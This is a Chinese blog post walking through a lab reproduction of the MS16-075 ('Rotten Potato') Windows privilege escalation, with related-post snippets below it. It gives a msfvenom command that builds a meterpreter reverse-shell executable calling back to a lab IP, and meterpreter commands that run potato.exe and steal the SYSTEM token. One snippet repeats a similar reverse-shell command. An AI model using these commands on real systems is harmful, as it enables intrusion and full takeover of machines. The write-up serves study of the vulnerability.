MS16-075（烂土豆）

于 2024-11-20 09:12:20 发布
阅读量496 收藏 5
点赞数 5
CC 4.0 BY-SA版权
分类专栏： CVE复现 文章标签： 安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63451318/article/details/143901517

烂土豆提取

所谓的烂土豆提权就是俗称的MS16-075,其是一个本地提权,是针对本地用户的,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别

复现

上线webshell靶机为windows server 2012 r2
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用msf生成木马，利用蚁剑上传至靶机
生成木马shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.128 LPORT=4444 -f exe > shell.exe

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

msf设置监听，利用蚁剑执行shell.exe
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

执行成功，查看当前权限，为Administrator
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

将potato.exe上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

开始提权
执行potato.exeexecute -cH -f ./potato.exe
利用模块use incognito
列出令牌list_tokens -u
令牌窃取impersonate_token "NT AUTHORITY\\SYSTEM"
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

提权成功
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Windows-烂土豆提权
qq_43381463的博客
03-09 926
烂土豆提权，即使用CVE-2016-3225（MS16-075）漏洞进行提权，当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。攻击者登录系统后，运行一个经特殊设计的应用程序利用此漏洞，从而控制受影响的系统。
Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权
z2560088的博客
02-13 4503
针对环境 windows有两种环境，一种是web网站拿到的webshell环境，一般是低权限的用户，（jsp除外，拿到webshell就是system权限）另一种是本地的环境，可能是服务器为管理某项服务创建的低权限用户。不同环境下的操作会有所不同。 提权方法 1.win溢出漏洞（如何判断类型和利用） 信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手 Vulmap，Wes，WindowsVulnScan 对比,exp 在哪里获取？ 利用wes进行补丁筛选 2.数据库提权 ...
Windows烂土豆提权复现(MS16-075)
oiadkt的博客
03-08 2839
Windows烂土豆提权复现(MS16-075)
烂土豆提权（MS16-075）--令牌窃取提权
bring_coco的博客
05-28 4492
漏洞介绍 当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。 若要利用此漏洞，攻击者首先必须登录系统。然后，攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序，从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。 注：烂土豆(Rotten Potato)提权是一个本地提权，是针对本地用户的，不能用于域用户
ms16075提权Windows Server 2008
可爱的我可爱的code
11-19 818
欢迎大家去我博客查看原文：http://www.xpshuai.cn/posts/29481/ 光看网上的文章是不够的，还是要多动手才行 ms16-075漏洞简介 Windows SMB 服务器特权提升漏洞（CVE漏洞编号：CVE-2016-3225）当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞，成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。 漏洞详情，请戳这里 开始动手 1.假设是msfvenom生成木马，目标.
烂土豆 (ms16-075) 提权方法
热门推荐
总有人间一两风，填我十万八千梦
03-11 1万+
所谓的烂土豆提权就是俗称的MS16-075，其是一个本地提权，是针对本地用户的，不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。
ms16-075提权复现
qq_42307546的博客
03-24 713
.CVE-2016-3225（MS16-075）提权 1.漏洞描述 当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。 若要利用此漏洞，攻击者首先必须登录系统。然后，攻击者可以运行一个为利用此漏洞而经特殊设计的 应用程序，从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转 发请求的方式来修复此漏洞。 注：烂土豆(Rotten Po
提权实战：MS16-075漏洞利用与Meterpreter反弹
本次实战笔记记录了一次关于利用MS16-075漏洞进行提权的过程，该漏洞是Windows SMB服务器的特权提升漏洞，其CVE编号为CVE-2016-3225。攻击者通过转发其他服务的身份验证请求，能够在SMB服务中触发漏洞，进而实现权限...
提权-win烂土豆&dll劫持&引号路径&服务权限
qi_SJQ_的博客
02-02 1787
以下几种提权方法的适合环境（web用户/本机用户）因方法而不同，有的方法在两种权限下都适用，一般也都是本机权限大于webshell权限。 win 烂土豆提权（MS16-075）： 烂土豆(Rotten Potato)提权是一个本地提权，是针对本地用户的，不能用于域用户，webshell环境或本地普通用户环境都可以适用。 过程：msf生成上传烂土豆-执行烂土豆-利用msf窃取模块-窃取 SYSTEM-成功(漏洞编号：CVE-2016-3225 )。 我们是用之前的令牌窃取提权无法成功，因为web.
第62天-权限提升-烂土豆&dll 劫持&引号路径&服务权
MCTSOG的博客
05-07 1600
思维导图 演示案例： 案例一 Win2012-烂土豆配合令牌窃取提权-Web 权限 单纯令牌窃取：适用于web权限或本地提权 如配合烂土豆提权：适用于web或数据库等权限 提权原理 RottenPotato RottenPotato（烂土豆）提权的原理可以简述如下： 1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。 2.对这个认证过程使用中间人攻击（NTLM重放），为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的
万能提权工具免杀版本
02-03
万能提权工具按时打算好的卷卡式带卡死 按时打扫打扫打扫打扫
Potato家族提权学习
include_voidmain的博客
10-24 1226
Potato家族提权学习
Meterpreter 提权
eli的博客
05-20 2515
0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马： msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe 这里我们为生成的木马指定了payload为: windows/meterpreter/reverse_tcp,反弹到的监听端地址为172.16.11.2，监听端口为44
【漏洞复现】Metasploit下利用ms16-075提权
cj_Hydra's Blog
04-13 4458
前言： ms16-075漏洞介绍： Windows SMB 服务器特权提升漏洞（CVE漏洞编号：CVE-2016-3225）当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞，成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞，攻击者首先必须登录系统。然后，攻击者可以运行一个为利用此漏洞而经特殊设计的应...
记一次漏洞利用与提权
A73748的博客
08-12 235
CVE-2020-0618是一项涉及Microsoft SQL Server Reporting Services (SSRS)的安全漏洞，它在2020年被公开披露。这个漏洞的问题在于Microsoft SQL Server Reporting Services的处理逻辑上存在缺陷，可能允许攻击者通过特制的请求利用该漏洞，执行未经授权的操作。攻击者可以通过这个漏洞实施远程代码执行、绕过安全控制以及获取敏感信息等恶意行为。
Windows提权
haoge1998的博客
04-25 5030
Windows提权 Windows基础知识 一、用户与用户组 在Windows中，不同用户有着不同的权限。主要权限包括有： 完全控制 修改 读取和执行 列出文件夹内容 读取 写入 1、内置用户 Administrator：系统管理员账号，拥有完全控制权 Guest：来宾账号，基本权限，默认时禁用 2、查看本地用户 net user 3、查看用户详细信息 net user darkid 用户也可以属于多个用户组，常见的用户组是 管理组(Administrators)、普通用户组（Users）、i
提权 | Windows系统
最新发布
本散修的一些学习心得与笔记，道友请自便。
10-23 1429
提权篇：Windows系统常见提权姿势。
sqlmap注入及ms16-075提权总结
weixin_33696106的博客
06-04 1010
sqlmap注入及ms16-075提权总结（1）sqlmap执行命令sqlmap.py -r 1**.***.***.***.txtsqlmap.py -r 1**.***.***.***.txt --is-dbsqlmap.py -r 1**.***.***.***.txt --password --batchsqlmap.py -r 1**.***.***.***.txt --os-shell...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sagice

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值